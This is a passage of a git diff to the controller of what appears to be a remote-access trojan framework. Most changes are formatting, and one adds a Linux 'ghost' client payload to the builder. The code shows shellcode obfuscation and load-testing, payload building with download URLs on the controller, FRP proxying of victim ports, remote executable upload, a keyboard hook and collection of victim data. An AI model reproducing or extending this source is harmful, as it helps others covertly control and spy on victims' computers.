id->SetLastHeartbeat(time(0)); return; } } @@ -3534,7 +3536,7 @@ void CMy2015RemoteDlg::OnToolGenMaster() std::string master = THIS_CFG.GetStr("settings", "master", ""); if (master.empty()) { MessageBoxL("请通过菜单设置当前主控程序的公网地址(域名)! 此地址会写入即将生成的主控程序中。" - "\n只有正确设置公网地址,才能在线延长由本程序所生成的主控程序的有效期。", "提示", MB_ICONINFORMATION); + "\n只有正确设置公网地址,才能在线延长由本程序所生成的主控程序的有效期。", "提示", MB_ICONINFORMATION); } std::string masterHash(GetMasterHash()); if (m_superPass.empty()) { @@ -3768,8 +3770,7 @@ CString GetElapsedTime(LPCTSTR szBaseTime) { int nYear, nMonth, nDay, nHour, nMin, nSec; if (_stscanf_s(szBaseTime, _T("%d-%d-%d %d:%d:%d"), - &nYear, &nMonth, &nDay, &nHour, &nMin, &nSec) != 6) - { + &nYear, &nMonth, &nDay, &nHour, &nMin, &nSec) != 6) { return _T("0s"); } @@ -3812,10 +3813,10 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) std::string expired = res[RES_EXPIRED_DATE]; expired = expired.empty() ? "" : " Expired on " + expired; strText.FormatL(_T("文件路径: %s%s %s%s\r\n系统信息: %s 位 %s 核心 %s GB %s\r\n启动信息: %s %s %s%s %s\r\n上线信息: %s %d %s\r\n客户信息: %s"), - res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 位 ", res[RES_FILE_PATH], res[RES_EXE_VERSION], processInfo, - res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(), - res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), GetElapsedTime(startTime), - ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), res[RES_CLIENT_ID]); + res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 位 ", res[RES_FILE_PATH], res[RES_EXE_VERSION], processInfo, + res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(), + res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), GetElapsedTime(startTime), + ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), res[RES_CLIENT_ID]); std::string geo = res[RES_CLIENT_PUBIP].IsEmpty() ? "" : m_IPConverter->GetGeoLocation(res[RES_CLIENT_PUBIP].GetString()); if (m_HasLocDB) { CString qqwryLoc; @@ -4009,7 +4010,7 @@ void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = " obfs->ObfuscateBuffer(srcData, srcLen, key); if (obfs->WriteFile(CString(buffer) + suffix, srcData, srcLen, "Shellcode")) { AfxMessageBoxL("Shellcode 生成成功! 请自行编写调用程序。\r\n" + CString(buffer) + suffix, - MB_ICONINFORMATION); + MB_ICONINFORMATION); } } SAFE_DELETE_ARRAY(srcData); @@ -4052,8 +4053,8 @@ void CMy2015RemoteDlg::OnObfsShellcodeBin() void CMy2015RemoteDlg::OnShellcodeLoadTest() { if (MessageBoxL(CString("是否测试 ") + (sizeof(void*) == 8 ? "64位" : "32位") + " Shellcode 二进制文件? " - "请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。", - "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { + "请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。", + "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { ObfsBase obfs; shellcode_process(&obfs, true); } @@ -4063,8 +4064,8 @@ void CMy2015RemoteDlg::OnShellcodeLoadTest() void CMy2015RemoteDlg::OnShellcodeObfsLoadTest() { if (MessageBoxL(CString("是否测试 ") + (sizeof(void*) == 8 ? "64位" : "32位") + " Shellcode 二进制文件? " - "请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。", - "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { + "请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。", + "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { Obfs obfs; shellcode_process(&obfs, true); } @@ -4081,8 +4082,8 @@ void CMy2015RemoteDlg::OnShellcodeAesBin() void CMy2015RemoteDlg::OnShellcodeTestAesBin() { if (MessageBoxL(CString("是否测试 ") + (sizeof(void*) == 8 ? "64位" : "32位") + " Shellcode 二进制文件? " - "请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。", - "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { + "请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。", + "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { ObfsAes obfs; shellcode_process(&obfs, true); } @@ -4328,8 +4329,9 @@ void CMy2015RemoteDlg::OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult) *pResult = 0; } -void RefreshGroupList(context* ctx, void* user) { - CString* groupName = (CString*)user; +void RefreshGroupList(context* ctx, void* user) +{ + CString* groupName = (CString*)user; ctx->SetGroupName(groupName->GetString()); } @@ -4347,7 +4349,7 @@ void CMy2015RemoteDlg::OnOnlineRegroup() BYTE cmd[50] = { CMD_SET_GROUP }; memcpy(cmd + 1, dlg.m_str, dlg.m_str.GetLength()); SendSelectedCommand(cmd, sizeof(cmd), RefreshGroupList, &(dlg.m_str)); - CAutoLock lock(m_cs); + CAutoLock lock(m_cs); m_selectedGroup = dlg.m_str; if (m_GroupList.end() == m_GroupList.find(m_selectedGroup)) { m_GroupTab.InsertItem(m_GroupList.size(), m_selectedGroup.c_str()); @@ -4363,7 +4365,7 @@ void CMy2015RemoteDlg::OnOnlineRegroup() nmhdr.code = TCN_SELCHANGE; SendMessage(WM_NOTIFY, nmhdr.idFrom, (LPARAM)&nmhdr); break; - } + } } LoadListData(m_selectedGroup); } @@ -4431,7 +4433,7 @@ void CMy2015RemoteDlg::OnExecuteDownload() void CMy2015RemoteDlg::OnExecuteUpload() { CFileDialog dlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_FILEMUSTEXIST, - _TR("可执行文件 (*.exe)|*.exe||"), this); + _TR("可执行文件 (*.exe)|*.exe||"), this); if (dlg.DoModal() != IDOK) return; @@ -4562,16 +4564,18 @@ void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd) LeaveCriticalSection(&m_cs); } -void CMy2015RemoteDlg::UpdateActiveRemoteSession(CDialogBase *sess){ - EnterCriticalSection(&m_cs); +void CMy2015RemoteDlg::UpdateActiveRemoteSession(CDialogBase *sess) +{ + EnterCriticalSection(&m_cs); m_pActiveSession = sess; - LeaveCriticalSection(&m_cs); + LeaveCriticalSection(&m_cs); } -CDialogBase* CMy2015RemoteDlg::GetActiveRemoteSession() { - EnterCriticalSection(&m_cs); - auto sess = m_pActiveSession; - LeaveCriticalSection(&m_cs); +CDialogBase* CMy2015RemoteDlg::GetActiveRemoteSession() +{ + EnterCriticalSection(&m_cs); + auto sess = m_pActiveSession; + LeaveCriticalSection(&m_cs); return sess; } @@ -4711,8 +4715,8 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam } else if (g_2015RemoteDlg->GetActiveRemoteSession() && operateWnd) { auto screen = (CScreenSpyDlg*)(g_2015RemoteDlg->GetActiveRemoteSession()); if (!screen) { - Mprintf("【Ctrl+V】 [远程 -> 本地] 远程桌面窗口状态已经失效\n"); - break; + Mprintf("【Ctrl+V】 [远程 -> 本地] 远程桌面窗口状态已经失效\n"); + break; } if (!screen->m_bIsCtrl) { Mprintf("【Ctrl+V】 [远程 -> 本地] 窗口不是控制状态: %s\n", screen->m_IPAddress); @@ -4934,60 +4938,59 @@ std::string GetAuthKey(const char* token, long long timestamp) // 例如代理3389端口,即可通过 mstsc.exe 进行远程访问 void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard) { - BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0); - std::string pwd = THIS_CFG.GetStr("frp", "token", ""); - std::string ip = THIS_CFG.GetStr("settings", "master", ""); - if (!useFrp || pwd.empty() || ip.empty()) { - MessageBoxL("需要正确启用FRP反向代理方可使用此功能!", "提示", MB_ICONINFORMATION); - return; - } + BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0); + std::string pwd = THIS_CFG.GetStr("frp", "token", ""); + std::string ip = THIS_CFG.GetStr("settings", "master", ""); + if (!useFrp || pwd.empty() || ip.empty()) { + MessageBoxL("需要正确启用FRP反向代理方可使用此功能!", "提示", MB_ICONINFORMATION); + return; + } - if (!isStandard && IDYES != MessageBoxL("如果没有定制的FRPS服务端程序,请勿点击此菜单! 是否继续?", "提示", MB_YESNO)) - return; - if (isStandard && IDYES != MessageBoxL("此功能会将FRP的token传递到客户端使用,谨慎操作! 是否继续?", "提示", MB_YESNO)) - return; + if (!isStandard && IDYES != MessageBoxL("如果没有定制的FRPS服务端程序,请勿点击此菜单! 是否继续?", "提示", MB_YESNO)) + return; + if (isStandard && IDYES != MessageBoxL("此功能会将FRP的token传递到客户端使用,谨慎操作! 是否继续?", "提示", MB_YESNO)) + return; - CInputDialog dlg(this); - dlg.Init(_TR("代理端口"), _TR("请输入客户端端口:")); - if (IDOK != dlg.DoModal() || atoi(dlg.m_str) <= 0 || atoi(dlg.m_str) >= 65536) { - return; - } - uint64_t timestamp = time(nullptr); - std::string key = isStandard ? pwd : GetAuthKey(pwd.c_str(), timestamp); - int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000); - int localPort = atoi(dlg.m_str); - auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL); - FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, localPort); - EnterCriticalSection(&m_cs); - POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); - BOOL sent = FALSE; + CInputDialog dlg(this); + dlg.Init(_TR("代理端口"), _TR("请输入客户端端口:")); + if (IDOK != dlg.DoModal() || atoi(dlg.m_str) <= 0 || atoi(dlg.m_str) >= 65536) { + return; + } + uint64_t timestamp = time(nullptr); + std::string key = isStandard ? pwd : GetAuthKey(pwd.c_str(), timestamp); + int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000); + int localPort = atoi(dlg.m_str); + auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL); + FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, localPort); + EnterCriticalSection(&m_cs); + POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); + BOOL sent = FALSE; const char* validDate = isStandard ? "Jan 29 2026" : "Dec 22 2025"; - while (Pos) { - int iItem = m_CList_Online.GetNextSelectedItem(Pos); - context* ctx = (context*)m_CList_Online.GetItemData(iItem); - if (!ctx->IsLogin()) - continue; - CString date = ctx->GetClientData(ONLINELIST_VERSION); - if (IsDateGreaterOrEqual(date, validDate)) { - Buffer* buf = frpc->Data; - BYTE cmd[1 + sizeof(DllExecuteInfoNew)] = { 0 }; - memcpy(cmd, buf->Buf(), 1 + sizeof(DllExecuteInfoNew)); - DllExecuteInfoNew* p = (DllExecuteInfoNew*)(cmd + 1); - SetParameters(p, (char*)¶m, sizeof(param)); - ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew)); - sent = TRUE; - } - else { - PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg(_L("版本不支持")), - (LPARAM)new CharMsg(_L("客户端版本最低要求: ") + CString(validDate))); - } - break; - } - LeaveCriticalSection(&m_cs); - SAFE_DELETE(frpc); - if (sent) - MessageBoxL(_L("请通过") + "[" + ip.c_str() + ":" + std::to_string(localPort).c_str() + "]" + _L("访问代理端口!"), - "提示", MB_ICONINFORMATION); + while (Pos) { + int iItem = m_CList_Online.GetNextSelectedItem(Pos); + context* ctx = (context*)m_CList_Online.GetItemData(iItem); + if (!ctx->IsLogin()) + continue; + CString date = ctx->GetClientData(ONLINELIST_VERSION); + if (IsDateGreaterOrEqual(date, validDate)) { + Buffer* buf = frpc->Data; + BYTE cmd[1 + sizeof(DllExecuteInfoNew)] = { 0 }; + memcpy(cmd, buf->Buf(), 1 + sizeof(DllExecuteInfoNew)); + DllExecuteInfoNew* p = (DllExecuteInfoNew*)(cmd + 1); + SetParameters(p, (char*)¶m, sizeof(param)); + ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew)); + sent = TRUE; + } else { + PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg(_L("版本不支持")), + (LPARAM)new CharMsg(_L("客户端版本最低要求: ") + CString(validDate))); + } + break; + } + LeaveCriticalSection(&m_cs); + SAFE_DELETE(frpc); + if (sent) + MessageBoxL(_L("请通过") + "[" + ip.c_str() + ":" + std::to_string(localPort).c_str() + "]" + _L("访问代理端口!"), + "提示", MB_ICONINFORMATION); } void CMy2015RemoteDlg::OnProxyPort() @@ -5047,7 +5050,7 @@ void CMy2015RemoteDlg::OnHistoryClients() void CMy2015RemoteDlg::OnBackupData() { MessageBoxL("如果更换主控IP,必须将主机迁移到新的主控IP名下。注意,更换主控程序的机器可能导致授权失效!" - "请将数据库文件拷贝到目标机器,否则将丢失全部备注信息。", "提示", MB_ICONINFORMATION); + "请将数据库文件拷贝到目标机器,否则将丢失全部备注信息。", "提示", MB_ICONINFORMATION); std::filesystem::path path = GetDbPath(); std::filesystem::path dir = path.parent_path(); ShellExecuteW(NULL, L"open", dir.c_str(), NULL, NULL, SW_SHOWNORMAL); @@ -5076,7 +5079,7 @@ void CMy2015RemoteDlg::OnChangeLang() // 用户选择了语言 g_Lang.Load(langCode); - // 保存到配置文件 + // 保存到配置文件 THIS_CFG.SetStr("settings", "Language", langCode.GetString()); // 提示用户重启生效 @@ -5089,30 +5092,28 @@ void CMy2015RemoteDlg::OnChooseLangDir() CFolderPickerDialog folderDlg(THIS_CFG.GetStr("settings", "LangDir", "./lang").c_str(), NULL, this, 0); CString strTitle = _TR("请选择目录"); folderDlg.m_ofn.lpstrTitle = strTitle; - if (folderDlg.DoModal() == IDOK) - { - CString folderPath = folderDlg.GetPathName(); + if (folderDlg.DoModal() == IDOK) { + CString folderPath = folderDlg.GetPathName(); - auto lang = THIS_CFG.GetStr("settings", "Language", "en_US"); - THIS_CFG.SetStr("settings", "LangDir", folderPath.GetString()); - g_Lang.Init(folderPath); - g_Lang.Load(lang.c_str()); + auto lang = THIS_CFG.GetStr("settings", "Language", "en_US"); + THIS_CFG.SetStr("settings", "LangDir", folderPath.GetString()); + g_Lang.Init(folderPath); + g_Lang.Load(lang.c_str()); MessageBoxL("目录已选择,可能需要重启程序。", "提示", MB_ICONINFORMATION); - } + } } void CMy2015RemoteDlg::OnImportData() { if (IDOK!=MessageBoxL("导入主控程序的历史主机记录。此操作会覆盖本机的历史记录,请仅在迁移主控程序时进行操作。" - "数据库文件仅用于恢复主机备注信息。是否继续?", "提示",IDOK)) return; + "数据库文件仅用于恢复主机备注信息。是否继续?", "提示",IDOK)) return; CFileDialog fileDlg(TRUE, NULL, "YAMA.db", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, - _T("YAMA DB (*.db)|*.db|All Files (*.*)|*.*||"), AfxGetMainWnd()); + _T("YAMA DB (*.db)|*.db|All Files (*.*)|*.*||"), AfxGetMainWnd()); int ret = 0; try { ret = fileDlg.DoModal(); - } - catch (...) { + } catch (...) { MessageBoxL("文件对话框未成功打开! 请稍后再试。", "提示", MB_ICONWARNING); return; } @@ -5124,7 +5125,8 @@ void CMy2015RemoteDlg::OnImportData() } } -void CMy2015RemoteDlg::OnLocationQqwry(){ +void CMy2015RemoteDlg::OnLocationQqwry() +{ THIS_CFG.SetInt("settings", "IPLocType", QQWry); auto SubMenu = m_MainMenu.GetSubMenu(3); SubMenu = SubMenu->GetSubMenu(5); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index f21b99a..b61874a 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -134,7 +134,7 @@ public: } VOID InitControl(); //初始控件 VOID TestOnline(); //测试函数 - BOOL m_HasLocDB = FALSE; + BOOL m_HasLocDB = FALSE; IPConverter* m_IPConverter = nullptr; VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, CString ver, CString startTime, std::vector& v, CONTEXT_OBJECT* ContextObject); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 165ac86..9953930 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -230,6 +230,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 0127869..2120352 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -234,6 +234,7 @@ + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index dd44a1d..fffb9df 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -24,6 +24,7 @@ enum Index { IndexTinyRun, IndexGhostMsc, IndexTestRunMsc, + IndexLinuxGhost, OTHER_ITEM }; @@ -145,7 +146,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) DDX_Control(pDX, IDC_STATIC_DOWNLOAD, m_StaticDownload); DDX_Control(pDX, IDC_EDIT_DOWNLOAD_URL, m_EditDownloadUrl); DDX_Text(pDX, IDC_EDIT_DOWNLOAD_URL, m_sDownloadUrl); - DDV_MaxChars(pDX, m_sDownloadUrl, 255); + DDV_MaxChars(pDX, m_sDownloadUrl, 255); } @@ -289,7 +290,8 @@ bool IsValidFileName(const CString& strName) return true; } -CString BuildPayloadUrl(const char* ip, const char* name) { +CString BuildPayloadUrl(const char* ip, const char* name) +{ int port = THIS_CFG.GetInt("settings", "FileSvrPort", 80); CString url = CString("http://") + CString(ip) + ":" + std::to_string(port).c_str() + CString("/payloads/") + name; return url; @@ -309,6 +311,10 @@ void CBuildDlg::OnBnClickedOk() MessageBoxL("Shellcode 只能向64位电脑注入,注入器也只能是64位!", "提示", MB_ICONWARNING); return; } + if (index == IndexLinuxGhost) { + m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE); + m_SliderClientSize.SetPos(0); + } int startup = Startup_DLL; CString file; CString targetDir; @@ -354,6 +360,11 @@ void CBuildDlg::OnBnClickedOk() typ = CLIENT_TYPE_SHELLCODE; szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize); break; + case IndexLinuxGhost: + file = "ghost"; + typ = CLIENT_TYPE_LINUX; + szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize); + break; case OTHER_ITEM: { m_OtherItem.GetWindowTextA(file); typ = -1; @@ -494,12 +505,12 @@ void CBuildDlg::OnBnClickedOk() strcpy(sc->file, PathFindFileNameA(payload)); strcpy(sc->targetDir, targetDir); BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED; - if (checked){ + if (checked) { strcpy(sc->downloadUrl, m_sDownloadUrl.IsEmpty() ? BuildPayloadUrl(m_strIP, sc->file) : m_sDownloadUrl); if (m_sDownloadUrl.IsEmpty()) MessageBoxL(CString("文件下载地址: \r\n") + sc->downloadUrl, "提示", MB_ICONINFORMATION); } - tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : - checked ? "\r\n提示: 本机提供下载时,载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。"; + tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : + checked ? "\r\n提示: 本机提供下载时,载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。"; } BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize); if (r) { @@ -517,7 +528,7 @@ void CBuildDlg::OnBnClickedOk() int pe_2_shellcode(const std::string & in_path, const std::string & out_str); int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString()); if (ret)MessageBoxL(CString("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()), - "提示", MB_ICONINFORMATION); + "提示", MB_ICONINFORMATION); } else if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES_OLD) { // 兼容旧版本 DWORD dwSize = 0; LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize); @@ -594,6 +605,7 @@ BOOL CBuildDlg::OnInitDialog() m_ComboExe.InsertStringL(IndexTinyRun, "TinyRun.dll"); m_ComboExe.InsertStringL(IndexGhostMsc, "ghost.exe - Windows 服务"); m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务"); + m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64"); m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件")); m_ComboExe.SetCurSel(IndexTestRun_MemDLL); @@ -746,11 +758,11 @@ void CBuildDlg::OnClientRunasAdmin() m_runasAdmin = !m_runasAdmin; CMenu* SubMenu = m_MainMenu.GetSubMenu(0); SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED); - static bool warned = false; + static bool warned = false; if (m_runasAdmin && !warned) { warned = true; MessageBoxL("安装Windows服务必须设置,客户端运行时会请求管理员权限,可能会触发系统UAC提示。\n" - "如果未设置,则程序会以当前用户的权限运行,通常也能安装成功。", "提示", MB_ICONINFORMATION); + "如果未设置,则程序会以当前用户的权限运行,通常也能安装成功。", "提示", MB_ICONINFORMATION); } } @@ -765,13 +777,13 @@ void CBuildDlg::OnCbnSelchangeComboCompress() m_BtnFileServer.SetCheck(BST_UNCHECKED); m_StaticDownload.ShowWindow(SW_HIDE); m_EditDownloadUrl.ShowWindow(SW_HIDE); - static bool warned = false; + static bool warned = false; if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && !warned) { - warned = true; + warned = true; MessageBoxL(_T("使用 ShellCode AES 在程序尾部追加载荷,可能无法在某些服务器系统运行! " - "请自行验证。或者选择其他载荷,或者切换为 ShellCode AES Old 模式生成!"), - "提示", MB_ICONWARNING); - } + "请自行验证。或者选择其他载荷,或者切换为 ShellCode AES Old 模式生成!"), + "提示", MB_ICONWARNING); + } } BOOL CBuildDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult) @@ -913,8 +925,8 @@ void CBuildDlg::OnBnClickedCheckFileserver() if (!warned && checked) { warned = true; MessageBoxL("请提供载荷的下载地址。下载地址前缀为 http 或 https。" - "默认由本机提供载荷下载服务,请将载荷文件放在\"Payloads\"目录。" - "由本机提供下载时,下载地址可以省略输入。", "提示", MB_ICONINFORMATION); + "默认由本机提供载荷下载服务,请将载荷文件放在\"Payloads\"目录。" + "由本机提供下载时,下载地址可以省略输入。", "提示", MB_ICONINFORMATION); } } diff --git a/server/2015Remote/CClientListDlg.cpp b/server/2015Remote/CClientListDlg.cpp index 0f94b34..2c74e09 100644 --- a/server/2015Remote/CClientListDlg.cpp +++ b/server/2015Remote/CClientListDlg.cpp @@ -78,19 +78,25 @@ static const int g_nGroupFieldCount = _countof(g_GroupFieldConfigs); static CString GetFieldValue(const ClientValue& val, GroupField field) { switch (field) { - case GF_IP: return CString(val.IP); - case GF_ComputerName: return CString(val.ComputerName); - case GF_OsName: return CString(val.OsName); - case GF_Location: return CString(val.Location); - case GF_ProgramPath: return CString(val.ProgramPath); - default: return _T(""); + case GF_IP: + return CString(val.IP); + case GF_ComputerName: + return CString(val.ComputerName); + case GF_OsName: + return CString(val.OsName); + case GF_Location: + return CString(val.Location); + case GF_ProgramPath: + return CString(val.ProgramPath); + default: + return _T(""); } } // 比较两个客户端的指定列,返回 <0, 0, >0 static int CompareClientByColumn(const std::pair& a, - const std::pair& b, - int nColumn) + const std::pair& b, + int nColumn) { switch (nColumn) { case COL_ID: @@ -244,14 +250,14 @@ void CClientListDlg::DisplayClients() int sortCol = m_nSortColumn; BOOL ascending = m_bSortAscending; std::sort(sortedGroups.begin(), sortedGroups.end(), - [sortCol, ascending](const std::pair* a, - const std::pair* b) { - // 取每个分组的第一个设备进行比较 - const auto& clientA = a->second.Clients[0]; - const auto& clientB = b->second.Clients[0]; - int result = CompareClientByColumn(clientA, clientB, sortCol); - return ascending ? (result < 0) : (result > 0); - }); + [sortCol, ascending](const std::pair* a, + const std::pair* b) { + // 取每个分组的第一个设备进行比较 + const auto& clientA = a->second.Clients[0]; + const auto& clientB = b->second.Clients[0]; + int result = CompareClientByColumn(clientA, clientB, sortCol); + return ascending ? (result < 0) : (result > 0); + }); } int nRow = 0; @@ -295,8 +301,7 @@ void CClientListDlg::DisplayClients() m_ClientList.SetItemText(nItem, COL_AUTH, strAuth); m_ClientList.SetItemData(nItem, (DWORD_PTR)key); nRow++; - } - else { + } else { // 多个设备时,显示可展开的分组行 CString strNo; strNo.FormatL(_T("%d"), groupInfo.GroupId); @@ -368,8 +373,7 @@ void CClientListDlg::OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult) // 点击同一列切换排序方向 if (nColumn == m_nSortColumn) { m_bSortAscending = !m_bSortAscending; - } - else { + } else { m_nSortColumn = nColumn; m_bSortAscending = TRUE; } diff --git a/server/2015Remote/CClientListDlg.h b/server/2015Remote/CClientListDlg.h index 38689cb..c4e0d18 100644 --- a/server/2015Remote/CClientListDlg.h +++ b/server/2015Remote/CClientListDlg.h @@ -10,68 +10,69 @@ // 分组键:支持任意字段组合 struct GroupKey { - std::vector Values; + std::vector Values; - bool operator<(const GroupKey& other) const { - size_t count = (std::min)(Values.size(), other.Values.size()); - for (size_t i = 0; i < count; i++) { - int cmp = Values[i].Compare(other.Values[i]); - if (cmp != 0) return cmp < 0; - } - return Values.size() < other.Values.size(); - } + bool operator<(const GroupKey& other) const + { + size_t count = (std::min)(Values.size(), other.Values.size()); + for (size_t i = 0; i < count; i++) { + int cmp = Values[i].Compare(other.Values[i]); + if (cmp != 0) return cmp < 0; + } + return Values.size() < other.Values.size(); + } }; // 分组信息 struct GroupInfo { - int GroupId; - BOOL bExpanded; - std::vector> Clients; + int GroupId; + BOOL bExpanded; + std::vector> Clients; }; // CClientListDlg 对话框 class CClientListDlg : public CDialogLangEx { - DECLARE_DYNAMIC(CClientListDlg) + DECLARE_DYNAMIC(CClientListDlg) public: - CClientListDlg(_ClientList* clients, CMy2015RemoteDlg* pParent = nullptr); - virtual ~CClientListDlg(); + CClientListDlg(_ClientList* clients, CMy2015RemoteDlg* pParent = nullptr); + virtual ~CClientListDlg(); - // 对话框数据 + // 对话框数据 #ifdef AFX_DESIGN_TIME - enum { IDD = IDD_DIALOG_CLIENTLIST }; + enum { IDD = IDD_DIALOG_CLIENTLIST }; #endif protected: - _ClientList* g_ClientList; - CMy2015RemoteDlg* g_pParent; - std::vector> m_clients; // 数据副本 - std::map m_groups; // 分组数据 - int m_nSortColumn; // 当前排序列 - BOOL m_bSortAscending; // 是否升序 - CToolTipCtrl m_ToolTip; - int m_nTipItem; // 当前提示的行 - int m_nTipSubItem; // 当前提示的列 + _ClientList* g_ClientList; + CMy2015RemoteDlg* g_pParent; + std::vector> m_clients; // 数据副本 + std::map m_groups; // 分组数据 + int m_nSortColumn; // 当前排序列 + BOOL m_bSortAscending; // 是否升序 + CToolTipCtrl m_ToolTip; + int m_nTipItem; // 当前提示的行 + int m_nTipSubItem; // 当前提示的列 - void BuildGroups(); // 构建分组数据 + void BuildGroups(); // 构建分组数据 - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 - DECLARE_MESSAGE_MAP() + DECLARE_MESSAGE_MAP() public: - CListCtrlEx m_ClientList; - virtual BOOL OnInitDialog(); - void RefreshClientList(); - void DisplayClients(); - void AdjustColumnWidths(); - void SortByColumn(int nColumn, BOOL bAscending); - afx_msg void OnSize(UINT nType, int cx, int cy); - afx_msg void OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult); - afx_msg void OnListClick(NMHDR* pNMHDR, LRESULT* pResult); - virtual BOOL PreTranslateMessage(MSG* pMsg); - virtual void OnCancel(); - virtual void PostNcDestroy(); - virtual void OnOK(); + CListCtrlEx m_ClientList; + virtual BOOL OnInitDialog(); + void RefreshClientList(); + void DisplayClients(); + void AdjustColumnWidths(); + void SortByColumn(int nColumn, BOOL bAscending); + afx_msg void OnSize(UINT nType, int cx, int cy); + afx_msg void OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnListClick(NMHDR* pNMHDR, LRESULT* pResult); + virtual BOOL PreTranslateMessage(MSG* pMsg); + virtual void OnCancel(); + virtual void PostNcDestroy(); + virtual void OnOK(); }; diff --git a/server/2015Remote/CDlgFileSend.cpp b/server/2015Remote/CDlgFileSend.cpp index c949c8e..0014092 100644 --- a/server/2015Remote/CDlgFileSend.cpp +++ 